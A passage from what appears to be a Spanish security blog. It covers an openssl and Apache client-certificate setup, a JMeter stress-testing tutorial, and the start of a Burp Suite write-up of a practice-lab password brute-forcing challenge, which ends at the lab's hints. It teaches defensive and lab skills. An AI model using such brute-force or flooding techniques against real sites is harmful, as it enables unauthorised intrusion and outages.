.1em .8em; border: solid gray; overflow: auto; padding: .2em .6em; width: auto;"> <pre style="margin: 0px;"><span style="color: #c65d09; font-weight: bold; line-height: 125%;">[root@localhost ~]#</span><span style="line-height: 125%;"> openssl req -new -key server.key -out server.csr </span><span style="color: #888888; line-height: 125%;">Enter pass phrase for server.key:</span><span style="line-height: 125%;"> </span><span style="color: #888888; line-height: 125%;">You are about to be asked to enter information that will be incorporated</span><span style="line-height: 125%;"> </span><span style="color: #888888; line-height: 125%;">into your certificate request.</span><span style="line-height: 125%;"> </span><span style="color: #888888; line-height: 125%;">What you are about to enter is what is called a Distinguished Name or a DN.</span><span style="line-height: 125%;"> </span><span style="color: #888888; line-height: 125%;">There are quite a few fields but you can leave some blank</span><span style="line-height: 125%;"> </span><span style="color: #888888; line-height: 125%;">For some fields there will be a default value,</span><span style="line-height: 125%;"> </span><span style="color: #888888; line-height: 125%;">If you enter '.', the field will be left blank.</span><span style="line-height: 125%;"> </span><span style="color: #888888; line-height: 125%;">-----</span><span style="line-height: 125%;"> </span><span style="color: #888888; line-height: 125%;">Country Name (2 letter code) [XX]:CO</span><span style="line-height: 125%;"> </span><span style="color: #888888; line-height: 125%;">State or Province Name (full name) []:COLOMBIA</span><span style="line-height: 125%;"> </span><span style="color: #888888; line-height: 125%;">Locality Name (eg, city) [Default City]:BOGOTA</span><span style="line-height: 125%;"> </span><span style="color: #888888; line-height: 125%;">Organization Name (eg, company) [Default Company Ltd]:ANTONIOJORZ</span><span style="line-height: 125%;"> </span><span style="color: #888888; line-height: 125%;">Organizational Unit Name (eg, section) []:</span><span style="line-height: 125%;"> </span><span style="color: #888888; line-height: 125%;">Common Name (eg, your name or your server's hostname) []:</span><span style="line-height: 125%;"> </span><span style="color: #888888; line-height: 125%;">Email Address []:</span><span style="line-height: 125%;"> </span><span style="color: #888888; line-height: 125%;">Please enter the following 'extra' attributes</span><span style="line-height: 125%;"> </span><span style="color: #888888; line-height: 125%;">to be sent with your certificate request</span><span style="line-height: 125%;"> </span><span style="color: #888888; line-height: 125%;">A challenge password []:</span><span style="line-height: 125%;"> </span><span style="color: #888888; line-height: 125%;">An optional company name []:</span><span style="font-family: Times New Roman;"><span style="white-space: normal;"> </span></span></pre> </div> <br /> El comando nos solicitara la contraseña quemada en la llave privada para acceder a el. durante el proceso de creacion se nos solicitaran los datos con los cuales se va identificar nuestro sitio web y/o servidor. como mi servidor es local y obviamente lo voy autofirmar posteriormente, lo llenare con cualquier dato. en caso que se genere en producción el campo "Common Name" debe estar quemado el dominio o subdominio del servidor.<br /> <br /> <b>Autofirmamos el certificado</b><br /> una vez creado nuestro certificado indentificador llega el momento de firmarlo en nuestro caso como mencione anteriormente no sera un ente quien lo firme, sera autofirmado por el server esto debido que es para fines educativos en un ambiente local..<br /> <br /> <b>Primero creamos nuestro propio CA (Certification Authority)</b><br /> <b><br /></b> <!-- HTML generated using hilite.me --><br /> <div style="background: #ffffff; border-width: .1em .1em .1em .8em; border: solid gray; overflow: auto; padding: .2em .6em; width: auto;"> <pre style="line-height: 125%; margin: 0;"><span style="color: #c65d09; font-weight: bold;">[root@localhost ~]#</span> openssl req -x509 -newkey rsa:2048 -keyout ca.key -days 730 -out ca.crt <span style="color: #888888;">Generating a 2048 bit RSA private key</span> <span style="color: #888888;">.......................+++</span> <span style="color: #888888;">.............................+++</span> <span style="color: #888888;">writing new private key to 'ca.key'</span> <span style="color: #888888;">Enter PEM pass phrase:</span> <span style="color: #888888;">Verifying - Enter PEM pass phrase:</span> <span style="color: #888888;">-----</span> <span style="color: #888888;">You are about to be asked to enter information that will be incorporated</span> <span style="color: #888888;">into your certificate request.</span> <span style="color: #888888;">What you are about to enter is what is called a Distinguished Name or a DN.</span> <span style="color: #888888;">There are quite a few fields but you can leave some blank</span> <span style="color: #888888;">For some fields there will be a default value,</span> <span style="color: #888888;">If you enter '.', the field will be left blank.</span> <span style="color: #888888;">-----</span> <span style="color: #888888;">Country Name (2 letter code) [XX]:CO</span> <span style="color: #888888;">State or Province Name (full name) []:COLOMBIA</span> <span style="color: #888888;">Locality Name (eg, city) [Default City]:BOGOTA</span> <span style="color: #888888;">Organization Name (eg, company) [Default Company Ltd]:</span> <span style="color: #888888;">Organizational Unit Name (eg, section) []:</span> <span style="color: #888888;">Common Name (eg, your name or your server's hostname) []:</span> <span style="color: #888888;">Email Address []:</span> </pre> </div> <br /> Creamos nuestro propio certificado de autoridad de confianza con validez de dos años. Este certifica do <b>ca.crt </b>sera quien firme el certificado de nuestro servidor web.<br /> <br /> <b>Firmamos el certificado con el CA</b><br /> <b><br /></b> <!-- HTML generated using hilite.me --><br /> <div style="background: #ffffff; border-width: .1em .1em .1em .8em; border: solid gray; overflow: auto; padding: .2em .6em; width: auto;"> <pre style="line-height: 125%; margin: 0;"><span style="color: #c65d09; font-weight: bold;">[root@localhost ~]#</span> openssl x509 -req -days 365 -CA ca.crt -CAkey ca.key -CAcreateserial -in server.csr -out server.crt <span style="color: #888888;">Signature ok</span> <span style="color: #888888;">subject=/C=CO/ST=COLOMBIA/L=BOGOTA/O=ANTONIOJORZ/emailAddress=frenyman@gmail.com</span> <span style="color: #888888;">Getting CA Private Key</span> <span style="color: #888888;">Enter pass phrase for ca.key:</span> </pre> </div> <b><br /></b>Con el comando anterior estamos firmando el certificado del servidor web con nuestro <b>CA </b>con una validez de 1 año, este comando nos generara un certificado&nbsp;<b>CRT.</b><br /> <b><br /></b> <b>Generación de certificado Cliente</b><br /> <br /> Como decía al comenzar este post, lo buscado es que solo ciertas personas puedan ver nuestro sitio web y para eso crearemos este certificado cliente, como llave de acceso<br /> El proceso es exactamente el mismo que los anteriores.<br /> <br /> <!-- HTML generated using hilite.me --><br /> <div style="background: #ffffff; border-width: .1em .1em .1em .8em; border: solid gray; overflow: auto; padding: .2em .6em; width: auto;"> <pre style="line-height: 125%; margin: 0;"><span style="color: #c65d09; font-weight: bold;">[root@localhost ~]#</span>openssl genrsa -des3 -out client.key 2048 <span style="color: #c65d09; font-weight: bold;">[root@localhost ~]#</span>openssl req -new -key client.key -out client.csr <span style="color: #c65d09; font-weight: bold;">[root@localhost ~]#</span>openssl x509 -req -days 365 -CA ca.crt -CAkey ca.key -CAcreateserial -in client.csr -out client.crt </pre> </div> <br /> Ya con esto tenemos nuestro certificado <b>cliente.crt </b>y sus respectiva llaves ahora debemos pasar a unir estos archivos y convertirlos en único fichero con formato <b><a href="http://es.wikipedia.org/wiki/PKCS" target="_blank">PKCS#12</a></b>.<br /> <br /> <!-- HTML generated using hilite.me --><br /> <div style="background: #ffffff; border-width: .1em .1em .1em .8em; border: solid gray; overflow: auto; padding: .2em .6em; width: auto;"> <pre style="line-height: 125%; margin: 0;"><span style="color: #c65d09; font-weight: bold;">[root@localhost ~]#</span> openssl pkcs12 -export -in client.crt -inkey client.key -out client.p12 <span style="color: #888888;">Enter pass phrase for client.key:</span> <span style="color: #888888;">Enter Export Password:</span> <span style="color: #888888;">Verifying - Enter Export Password:</span> </pre> </div> <br /> El comando al ejecutar solicita la contraseña para acceder a la llave cliente. y luego una contraseña para el certificado, yo la dejare nula.<br /> <br /> <br /> <b style="font-size: x-large;">Preparando Apache y ModSSL</b><br /> <br /> Primero editamos el archivo de configuracion de <b>SSL </b>para agregar los nombres y/o path de los certificados creados.<br /> Abrimos el archivo&nbsp;<b>/etc/httpd/conf.d/ssl.conf</b><br /> Buscamos<br /> <b>SSLCertificateFile&nbsp;</b><br /> <b>SSLCertificateKeyFile&nbsp;</b><br /> Y editamos con los nombres de los certificados generados en nuestro caso <b>"server"</b><br /> <!-- HTML generated using hilite.me --> <br /> <div style="background: #ffffff; border-width: .1em .1em .1em .8em; border: solid gray; overflow: auto; padding: .2em .6em; width: auto;"> <pre style="line-height: 125%; margin: 0;"><span style="color: #007020;"> </span></pre> <pre style="line-height: 125%; margin: 0;"><span style="color: #007020;">SSLCertificateFile</span> <span style="background-color: #fff0f0; color: #dd2200;">/etc/pki/tls/certs/server.crt</span> <span style="color: #007020;">SSLCertificateKeyFile</span> <span style="background-color: #fff0f0; color: #dd2200;">/etc/pki/tls/private/server.key</span> </pre> </div> <br /> Ahora debemos indicarle ha Apache que debe solicitar dichos certificados.<br /> Estando en el mismo fichero buscamos&nbsp;<b>SSLVerifyClient y SSLVerifyDepth</b><br /> descomentamos y editamos de la siguiente manera<br /> <br /> <div style="background: #ffffff; border-width: .1em .1em .1em .8em; border: solid gray; overflow: auto; padding: .2em .6em; width: auto;"> <pre style="line-height: 125%; margin: 0;">SSLVerifyClient require SSLVerifyDepth 1 </pre> </div> <br /> Donde indicaremos con la primera variable que se requiere de un certificado SSL para poder ver el sitio web y con la segunda variable estamos pasando el parametro del numero de certificadoras autorizadas que firmaron nuestro certificado, en nuestro caso <b>1 </b>ya que fue autofirmado y no hay mas de 1 ente intermediando.<br /> <br /> Ahora buscamos lo siguiente&nbsp;<b>SSLCACertificateFile.</b><br /> descomentamos y editamos el nombre de nuestro certificado de confianza, en nuestro caso <b>CA.crt</b><br /> <b><br /></b> <!-- HTML generated using hilite.me --><br /> <div style="background: #ffffff; border-width: .1em .1em .1em .8em; border: solid gray; overflow: auto; padding: .2em .6em; width: auto;"> <pre style="line-height: 125%; margin: 0;"><span style="color: #888888;">SSLCACertificateFile /etc/pki/tls/certs/ca.crt</span> </pre> </div> <b><br /></b> <br /> Guardamos y reiniciamos&nbsp;<b>Apache.</b><br /> <div> <br /></div> </div> <div style="background: #ffffff; border-width: .1em .1em .1em .8em; border: solid gray; overflow: auto; padding: .2em .6em; width: auto;"> <pre style="line-height: 125%; margin: 0;"><span style="color: #c65d09; font-weight: bold;">[root@localhost ~]#</span> service httpd restart <span style="color: #888888;">Stopping httpd: [FAILED]</span> <span style="color: #888888;">Starting httpd: httpd: Could not reliably determine the server's fully qualified domain name, using localhost.localdomain for ServerName</span> <span style="color: #888888;">Apache/2.2.15 mod_ssl/2.2.15 (Pass Phrase Dialog)</span> <span style="color: #888888;">Some of your private key files are encrypted for security reasons.</span> <span style="color: #888888;">In order to read them you have to provide the pass phrases.</span> <span style="color: #888888;">Server localhost.localdomain:443 (RSA)</span> <span style="color: #888888;">Enter pass phrase:</span> <span style="color: #888888;">OK: Pass Phrase Dialog successful.</span> <span style="color: #888888;"> [ OK ]</span> </pre> </div> <br /> Apache nos solicitara la contraseña quemada en la llave privada del servidor.<br /> <br /> Si requieren que no se las solicite cada vez que reinicien deben decifrar con openssl la llave con la misma contraseña quemada. claro esta que esto se considera un riesgo de seguridad.<br /> <br /> Una vez reiniciado el servicio de <b>Apache. </b>ingresamos al navegador y digitamos la ip del servidor bajo el protocolo <b>HTTPS.</b><br /> <b><br /></b> <br /> <div class="separator" style="clear: both; text-align: center;"> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgB2h5xY8u4RebR3eOyMAc5QhkkfwNS1SB2Tvo0Eewmupj-JpU7i6ZhAi6jyd2vKnFCIT_n4aNrYAq1EPjoAFB64Cy2uQYEcvZBjRmXzdFR2OECoouIV-1Pj-DSX-l-NM6aNlEelnyf1iQ/s1600/error.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="377" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgB2h5xY8u4RebR3eOyMAc5QhkkfwNS1SB2Tvo0Eewmupj-JpU7i6ZhAi6jyd2vKnFCIT_n4aNrYAq1EPjoAFB64Cy2uQYEcvZBjRmXzdFR2OECoouIV-1Pj-DSX-l-NM6aNlEelnyf1iQ/s640/error.png" width="640" /></a></div> <br /> al intentar ver la web veremos que no es visible y requeriremos del certificado de autenticacion cliente "<b>cliente.p12"</b>&nbsp;el que fue anteriormente empaquetado.<br /> <br /> Si nos encontramos en sistemas windows simplemente hacemos doble clic en el archivo <b>cliente.p12</b>&nbsp;y siga los pasos de importación. este importara y aplicara (Funcional para navegadores chrome e IE)<br /> <br /> para navegadores basados en <b>firefox </b>se debe agregar independientemente. Para importarlo simplemente nos vamos a:<br /> <b>Menu--&gt;Opciones--&gt;Avanzado--&gt;Certificados--&gt;Ver Certificados --&gt;Sus Certificados</b><br /> <br /> una vez importado el certificado actualizamos navegador este nos solicitara selecionar un certificado como autenticacion.<br /> <div class="separator" style="clear: both; text-align: center;"> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhZYkdlvJyk_PRkpzqdGYtoER_LVIIMT0nRU5pu87xegKuwXc1OArjQVcDVu3bRfSbrBwnmKsWz0mM3YnpmBY_PhVdhsXuN2NitkQH39yLNkRiEuaxHDRY0kFEt5tX0hQ7MWvc1piwMtFA/s1600/sel-cert.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="399" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhZYkdlvJyk_PRkpzqdGYtoER_LVIIMT0nRU5pu87xegKuwXc1OArjQVcDVu3bRfSbrBwnmKsWz0mM3YnpmBY_PhVdhsXuN2NitkQH39yLNkRiEuaxHDRY0kFEt5tX0hQ7MWvc1piwMtFA/s640/sel-cert.png" width="640" /></a></div> <br /> Una vez selecionado el Certificado de autenticacion este nos permitira ver nuestra web.<br /> <div class="separator" style="clear: both; text-align: center;"> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgPMgnNfMNvxvN1dEZUo6hsZCzY0qLEFhCC7xSi7hr2TCzDNpjuqw8lITtWLC1bhu3mRSNQqHNmZcmndt8cO9mA27lqvZ9doUvNbjCNX5SQhHqK6jxihv_JJFwlhO8ZSmWTD8-48LCOV6E/s1600/web-ok.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="118" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgPMgnNfMNvxvN1dEZUo6hsZCzY0qLEFhCC7xSi7hr2TCzDNpjuqw8lITtWLC1bhu3mRSNQqHNmZcmndt8cO9mA27lqvZ9doUvNbjCNX5SQhHqK6jxihv_JJFwlhO8ZSmWTD8-48LCOV6E/s640/web-ok.png" width="640" /></a></div> <br /> <b><br /></b> <br /> <br /> <br /> Saludos.<br /> <br /> Post basado en la fuente y reformado para CentOS.<br /> <a href="http://chuwiki.chuidiang.org/index.php?title=Crear_e_instalar_certificados_digitales_en_Apache_HttpServer#Creaci.C3.B3n_de_un_certificado_para_el_cliente" rel="nofollow" target="_blank">Fuente</a>Atoiohttp://www.blogger.com/profile/05839122536208921999noreply@blogger.com0tag:blogger.com,1999:blog-4993754786350617036.post-53485742738310549442015-05-21T19:05:00.002-05:002015-05-21T19:06:03.767-05:00<div style="text-align: justify;"> <br /> <div class="separator" style="clear: both; text-align: center;"> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhzaFjLKpk-mcIH5LKyQWGLNTMZDVvkX2CR-eIbcXPYhoYK_hRQ7dh4w5eY2NvqWphJV8DmBRpBJGknJ4g8eFP2-7YOwU-h2Kxh9A_5vsHyXxybSvrMzq1v3ovV4Oc1vk_FPRhC0CDmIAY/s1600/37+(1).jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="320" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhzaFjLKpk-mcIH5LKyQWGLNTMZDVvkX2CR-eIbcXPYhoYK_hRQ7dh4w5eY2NvqWphJV8DmBRpBJGknJ4g8eFP2-7YOwU-h2Kxh9A_5vsHyXxybSvrMzq1v3ovV4Oc1vk_FPRhC0CDmIAY/s320/37+(1).jpg" width="309" /></a></div> <div style="text-align: center;"> <b><br /></b></div> <b>Performance Testing</b>&nbsp;o prueba de rendimiento tiene como objetivo eliminar “cuellos de botella” en la ejecución de una aplicación y poder determinar una medida aceptable para su funcionamiento,<br /> <br /> Con esa simple definición podemos conocer profundamente la intención &nbsp;de realizar este tipo de pruebas a nuestros servicios o aplicaciones y tener una perspectiva de su funcionamiento,<br /> <br /> <b>Load Testing </b>o prueba de carga es un proceso progresivo en el cual se va aumentando la carga (usuarios, transacciones, peticiones) en el sistema.<br /> <br /> <b>Stress Testing </b>o prueba de estrés en esta se busca forzar a una falla en el sistema excediendo los recursos y verificar su comportamiento ante esta situación.<br /> <br /> <br /> <b><span style="font-size: large;">¿Por qué utilizar este tipo de pruebas?</span></b></div> <div style="text-align: justify;"> <br /></div> <div style="text-align: justify;"> Por que nos ayuda a encontrar fallas en los servicios y tener una perspectiva de su solidez antes de entrar a producción, las pruebas de estrés aumentan la posibilidad de encontrar errores de concurrencia o problemas de memoria (Buffer Overflow)<br /> <br /> <b><span style="font-size: large;">¿Cual es la&nbsp;diferencia&nbsp;entre los test load y stress?</span></b></div> <div style="text-align: justify;"> <br /> Normalmente se ven como sinónimos,&nbsp;sin embargo el concepto de pruebas de estrés abarca mas allá que un test de carga, y nos ayuda a determinar el comportamiento de un sistema bajo un nivel de exigencia (Stress) mayor al que es capaz de manejar, de ahí el origen de su nombre.<br /> <br /> En estos Test el sistema se satura y los escenarios más comunes suelen ser:<br /> <ul> <li>El sistema apila y desecha peticiones</li> <li>El sistema responde con una latencia a las peticiones.</li> <li>El sistema colapsa y queda fuera de línea. (DOS)</li> </ul> En términos simples:<br /> <b>Load Testing</b> = Gran cantidad de usuarios<br /> <b>Stress Testing</b> =&nbsp;Demasiados usuarios, demasiados datos, demasiadas peticiones, poca memoria, poco espacio<br /> <br /> Los ataques DOS o DDOS están basados en este principio inundan de peticiones el objetivo llevando a un nivel de estrés y si no se encuentra bien protegido el objetivo colapsa.<br /> <br /></div> <div style="text-align: justify;"> <span style="font-size: large;"><b>Test</b></span></div> <div style="text-align: justify;"> <br /> Normalmente este tipo de pruebas suelen ser usados en servidores web's llámese&nbsp;Apache, Nginx, lighthttpd, Cherokee o incluso IIS. pero tambien puede usar el mismo principio para pruebas de software (Desktop) o cualquier sistema de información.</div> <div style="text-align: justify;"> <br /></div> <div style="text-align: justify;"> Todos estos servidores web en su configuración por defecto trabajan excelente pero los sitios web albergados pueden convertirse en una fuente de carga estresante para el servidor y forzando a colapsar los servicios.</div> <div style="text-align: justify;"> <br /></div> <div style="text-align: justify;"> Existen diversas formas tanto manuales, y herramientas automatizadas para realizar este tipo de pruebas. algunos automatizados son Jmeter, siege, ab (ApacheBench),</div> <div style="text-align: justify;"> <br /></div> <div style="text-align: justify;"> Nuestro ambiente de simulación es el siguiente:</div> <div style="text-align: justify;"> </div> <ul> <li>Servidor CentOS 6.3</li> <li>Apache 2.2.15 (Configuración por defecto) lo invito a ver el hardening de esta <a href="http://antoniojorz.blogspot.com/2014/10/hardening-sistema-linux-centos-parte2.html" target="_blank">app</a></li> <li>PHP&nbsp;5.3.3</li> </ul> <div> Simulare un esfuerzo con la herramienta <b><a href="http://jmeter.apache.org/download_jmeter.cgi" target="_blank">Jmeter </a></b>de <b>Apache </b>con el se pueden realizar pruebas de carga y stress sobre servidores, esta herramienta requiere una version java &gt;= 1.6:<br /> <br /> <ul> <li>Web - HTTP, HTTPS</li> <li>SOAP</li> <li>BD via JDBC</li> <li>LDAP</li> <li>JMS</li> <li>Mail - SMTP(S), POP3(S) y IMAP(S)</li> </ul> </div> JMeter puede hacer peticiones distribuidas&nbsp;puede encontrar mas info <a href="https://jmeter.apache.org/usermanual/jmeter_distributed_testing_step_by_step.pdf" rel="nofollow" target="_blank">aqui</a><br /> Una vez tenga instalado el Jmeter ejecutamos el script Jmeter ubicado <b>/bin </b>dentro de la carpeta de J<b>meter &nbsp;</b>esto si quiere usar el modo GUI.<br /> <br /> Al ejecutarlo nos encontraremos con la GUI &nbsp;en el cual nos solicita crear un plan de Pruebas :<br /> <br /> <div class="separator" style="clear: both; text-align: center;"> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEihioWGaVpMNv-NHUErlVoHzL6hJtIiKntQvgB2qq5MmgA04VutgaZ4tNLosT6diRLnPBxrF79W1k3YtUJTJeoS9TuDtlEjU1wpkj-9rrLJKXGN2r94MNyNLoV1BONGTnQHJWwnmG1s6h4/s1600/test+plan.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="312" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEihioWGaVpMNv-NHUErlVoHzL6hJtIiKntQvgB2qq5MmgA04VutgaZ4tNLosT6diRLnPBxrF79W1k3YtUJTJeoS9TuDtlEjU1wpkj-9rrLJKXGN2r94MNyNLoV1BONGTnQHJWwnmG1s6h4/s640/test+plan.png" width="640" /></a></div> <br /> Un plan de prueba se compone de una secuencia de componentes que determinaran cómo se simulará la prueba de carga. Ahora podemos añadir elementos a este plan de pruebas. jMeter permite muchos tipos diferentes de peticiones a practicar como mencione anteriormente, nosotros nos limitaremos al HTTP<br /> <br /> <br /> 1. Agregamos un&nbsp;<b>Thread Group</b><br /> <div> <ul> <li>Clic derecho en <b>Test Plan &gt;Add&gt;Threads (Users) &gt;Thread Group&nbsp;</b></li> </ul> <br /> <b>Thread Group&nbsp;</b>tiene tres propiedades particularmente importantes que influyen en la prueba.<br /> <br /> <ul> <li><b>Number of Threads (users):</b>&nbsp;Numero de usuarios a simular</li> <li><b>Ramp-Up Period (in seconds): </b>Tiempo que Jmeter distribuira los Threads</li> <li><b>Loop Count: </b>El numero de veces que se ejecutara la prueba.</li> </ul> <div class="separator" style="clear: both; text-align: center;"> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjCyuQFMvzGlYnhfUtGSO_xJJYVP1CBDiGVyNSeahS4D3_5cYOUMBPbiBREV_oxk6Q2T4sVwxgWB69wvHb3VQczjYwIdvJ_3T9wOmBKnXG2E1R-oJXwo9D691AA5YAnxuRmLU9RKyJU51Q/s1600/Thread-Group.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="230" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjCyuQFMvzGlYnhfUtGSO_xJJYVP1CBDiGVyNSeahS4D3_5cYOUMBPbiBREV_oxk6Q2T4sVwxgWB69wvHb3VQczjYwIdvJ_3T9wOmBKnXG2E1R-oJXwo9D691AA5YAnxuRmLU9RKyJU51Q/s640/Thread-Group.png" width="640" /></a></div> <div> <br /></div> <br /> 2. Agregamos un <b>HTTP Request Defaults</b><br /> <ul> <li>Clic derecho en&nbsp;<b>Test Plan &gt;Add&gt;Config Element &gt;HTTP Request Default&nbsp;</b></li> </ul> <div> Este elemento es utilizado para establecer los valores predeterminados para las peticiones HTTP en nuestro plan de pruebas.</div> <div class="separator" style="clear: both; text-align: center;"> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhqIEMViAm_MMrjnkxVTlX0c6_Ku-iIaWUQkRypgpKT4DukyQvJTw2p2d9_bVgJRlGUDf830EqbXA67QC5lzmT6QVGxZLmd9Io_yZXVGtotQjP11fmxfV52gNn3Np9-mrzG9fvii4bQuAc/s1600/http-request.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="246" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhqIEMViAm_MMrjnkxVTlX0c6_Ku-iIaWUQkRypgpKT4DukyQvJTw2p2d9_bVgJRlGUDf830EqbXA67QC5lzmT6QVGxZLmd9Io_yZXVGtotQjP11fmxfV52gNn3Np9-mrzG9fvii4bQuAc/s640/http-request.png" width="640" /></a></div> <div> <br /></div> <div> <div> En este elementos llenamos los datos del servidor solicitados para la prueba.&nbsp;</div> </div> <div> <br /></div> <div> 3. Agregamos el elemento&nbsp;<b>HTTP Request Sampler</b></div> <div> <ul> <li>Clic derecho en&nbsp;<b><b>Thread Group</b>&nbsp;&gt;Add&gt;Sampler &gt;HTTP Request</b></li> </ul> <div> Debemos tener en cuenta que no es necesario especificar los datos del servidor en este elemento debido a que ya se ha especificado en el elemento de <b>HTTP Request Defaults</b>.</div> </div> <div> <br /></div> <div> <b>Nota:</b> Si desea agregar más solicitudes HTTP como parte de la prueba, se debe repetir este paso. Cada Thread llevará a cabo todas las peticiones en este plan de pruebas.</div> <div> <br /></div> <div> 3. Agregamos el elemento <b>View Results in Table Listener</b></div> <div> <ul> <li>Clic derecho en&nbsp;<b><b>Thread Group</b>&nbsp;&gt;Add&gt;Listener&gt;View Results in Table</b></li> </ul> <div> Con este elemento podemos visualizar la interacción de <b>Jmeter </b>hacia nuestro aplicativo ejerciendo la prueba una vez ejecutada la prueba.</div> </div> <div> <br /></div> <div> <div class="separator" style="clear: both; text-align: center;"> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjU0RzD_DGEtA36M6YhxzrRPNeLWaqe8BlCFo1TXF_r6m3X3dykDAvWcFEk1fiVCm8Hve9ilcqpKuZwgAsouAtVUnV47zdWqUc7TlbIjS6Iv5QvmfcVT8SHikDkcYOBS4R5OtJA_fIMxl4/s1600/result.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="181" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjU0RzD_DGEtA36M6YhxzrRPNeLWaqe8BlCFo1TXF_r6m3X3dykDAvWcFEk1fiVCm8Hve9ilcqpKuZwgAsouAtVUnV47zdWqUc7TlbIjS6Iv5QvmfcVT8SHikDkcYOBS4R5OtJA_fIMxl4/s640/result.png" width="640" /></a></div> la tabla refleja la iteracion del <b>HTTP Request.</b><br /> <b><br /></b> de esta manera podemos realizar simulaciones de estres y podemos ir forzando y ejerciendo mas iteraciones a medida que veamos el comportamiento del&nbsp;<span style="text-align: justify;">sistema de información</span>.<br /> <br /> <br /></div> <div style="text-align: justify;"> <b><span style="font-size: large;">Proceso de optimización</span></b><br /> <br /> Como cualquier tema en auditoria despues de realizar estas pruebas, el sysadmin debe pasar a un proceso de optimizacion para solucionar los fallos encontrados en el sistema. el proceso difiere de acuerdo al sistema de informacion por ejemplo si el sistema se trata de un servidor de base de datos se debe ejercer una optimizacion a su configuración por ejemplo, caché de consultas, contemplar mayor recursos, analizar velocidad de escritura en disco, caché de objetos para evitar lecturas desde base de datos (memcached, APC, etc). Utilización de sistemas de caché estático (nginx como proxy inverso, Varnish, etc).<br /> Si se trata de un servidor web: realizar un hardening al servidor web, denegar las multiples peticiones, Mantener una bitacora firewall (Para muchos algo de poca relevancia - pero es de lo mas importante para un sysadmin), ejercer el uso IPS e IDS,<br /> <br /></div> </div> Atoiohttp://www.blogger.com/profile/05839122536208921999noreply@blogger.com0tag:blogger.com,1999:blog-4993754786350617036.post-79822096500715614282015-04-24T09:48:00.000-05:002015-04-24T09:48:06.305-05:00<div class="separator" style="clear: both; text-align: center;"> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj2gnKrbPobpEDdyZjNm_r-E6zh3Y0qvoAo_MrkGRp2DUJT8aZZF7m9-IzwQAvhyphenhyphenem_j52UpSmi1cism4YMnzvJc_oYOpFEtS0z5BnQBdAQTzcdpO5xsaQnyT6XzJsE3p5vnePBI39_IcI/s1600/logo.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj2gnKrbPobpEDdyZjNm_r-E6zh3Y0qvoAo_MrkGRp2DUJT8aZZF7m9-IzwQAvhyphenhyphenem_j52UpSmi1cism4YMnzvJc_oYOpFEtS0z5BnQBdAQTzcdpO5xsaQnyT6XzJsE3p5vnePBI39_IcI/s1600/logo.png" height="258" width="640" /></a></div> <br /> <div style="text-align: justify;"> Burp Suite es una herramienta mas que conocida por los pentester, en estos dias estaba haciendo uso de ellas en auditoria de aplicaciones web y recordé que no había realizado un post de esta increíble herramienta. la cual para mi gusto es mas que buena y me ahorra tiempo a la hora de realizar <b>Script. </b>claro esta en la versión <b>Pro.</b>&nbsp;ya que la versión <b>free</b>&nbsp;es limitada sobre todo en la velocidad de procesar los ataques.</div> <div style="text-align: justify;"> <b><br /></b></div> <div style="text-align: justify;"> <b>Burp Suite </b>es una aplicación desarrollada en java la cual podemos encontrar en versiones gratis y de paga. es una herramienta desarrollada explicitamente para pruebas de seguridad en aplicaciones web.</div> <div style="text-align: justify;"> <br /></div> <div style="text-align: justify;"> Los componentes de <b>Burp Suite </b>mas destacados son<b>:</b></div> <div style="text-align: justify;"> <br /></div> <div style="text-align: justify;"> </div> <ul> <li><b>Proxy: </b>Actua como un proxy&nbsp;haciendo como un <b>man in the middle</b>, lo que le permite interceptar las peticiones al navegador, y asi inspeccionar y modificar el tráfico entre el navegador y la aplicación de destino.</li> <li><b>Spider:</b> con reconocimiento de aplicaciones, para el rastreo de contenido y funcionalidad.</li> <li><b>Scáner:</b>&nbsp;Disponible en la versión de paga, escanea el sitio en busca de vulnerabilidades.</li> <li><b>Intuder Tool: </b>Con este componente podemos realizar ataques personalizados y automatizados para explotar vulnerabilidades.&nbsp;</li> <li><b>Repeater:&nbsp;</b>El repetidor es una herramienta sencilla la cual se puede utilizar para modificar las solicitudes al servidor y volver a enviar.</li> </ul> <br /> <div style="text-align: justify;"> Vamos a poner a prueba esta herramienta con los 4 desafíos gratuitos de pentesting-academy<br /> <br /> <h4 class="media-heading" style="background-color: white; font-family: 'Open Sans', Arial, serif; font-size: 17.5px; line-height: 20px; margin: 0px 0px 5px; text-align: start; text-rendering: optimizeLegibility;"> Challenge 1: Form Bruteforcing Solutions</h4> </div> <div style="text-align: justify;"> <br /></div> <div style="text-align: justify;"> En el primer reto del <b>Web-Lab</b>&nbsp;nos encontramos con un login, en el cual nos dan pista para el ataque nos dicen que:</div> <div style="text-align: justify;"> </div> <ol> <li>El dominio es: <b>PentesterAcademy.com</b></li> <li>Los usuarios posibles son: <b>jack, admin</b></li> <li>Y de que la posible contraseña es de 5 caracteres y solo contiene las letras x,y,z en minúscula</li> 